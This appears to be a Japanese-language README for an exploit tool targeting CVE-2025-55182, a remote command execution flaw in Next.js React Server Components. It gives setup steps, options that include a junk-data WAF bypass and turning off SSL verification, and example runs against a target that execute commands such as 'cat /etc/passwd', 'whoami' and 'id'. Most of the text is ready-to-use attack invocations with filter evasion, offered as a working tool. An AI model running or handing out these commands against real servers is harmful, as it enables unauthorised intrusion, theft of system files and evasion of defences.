
Next.js React Server ComponentsのCVE-2025-55182脆弱性を検出・悪用するための強力なエクスプロイトツールです。このツールは、組み込みのWAFバイパス機能により、脆弱なNext.jsアプリケーションに対するリモートコマンド実行(RCE)を可能にします。

CVE-2025-55182は、Next.js React Server Componentsにおける深刻な脆弱性で、リモートの攻撃者が脆弱なサーバー上で任意のコマンドを実行できるようにします。このツールは、この脆弱性を検出および悪用するための自動化された方法を提供します。
# Clone the repository
git clone https://github.com/Dh4v4l8/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
# Make the script executable
chmod +x exploit.sh
# Test the installation
./exploit.sh -h
このツールは、研究者がリクエストをカスタマイズしたり、トラフィックをシミュレートしたり、フィルタリングレイヤーをテストしたりできる、いくつかのコマンドラインオプションを提供します。
Usage: ./exploit.sh [OPTIONS]
Options:
-d, --domain Target domain/URL (default: http://localhost:3000)
If no protocol specified, defaults to https://
-c, --command Command to execute (default: id)
-w, --waf-bypass Enable WAF bypass with junk data (default: 128KB)
--waf-size SIZE WAF bypass data size in KB (default: 128)
--timeout SECONDS Request timeout in seconds (default: 15)
-k, --insecure Disable SSL certificate verification
--user-agent AGENT Custom User-Agent string
-h, --help Show this help message
# Check if target is vulnerable with default command
./exploit.sh -d https://target.com
# Execute custom command
./exploit.sh -d https://target.com -c "whoami"
# Read system files
./exploit.sh -d https://target.com -c "cat /etc/passwd"
# Enable WAF bypass
./exploit.sh -d https://target.com -c "ls -la" -w
# Custom WAF bypass size (256KB)
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Disable SSL verification
./exploit.sh -d https://target.com -c "id" -k
# Custom timeout
./exploit.sh -d https://target.com -c "ping -c 3 google.com" --timeout 30
# Custom User-Agent
./exploit.sh -d https://target.com -c "id" --user-agent "CustomScanner/1.0"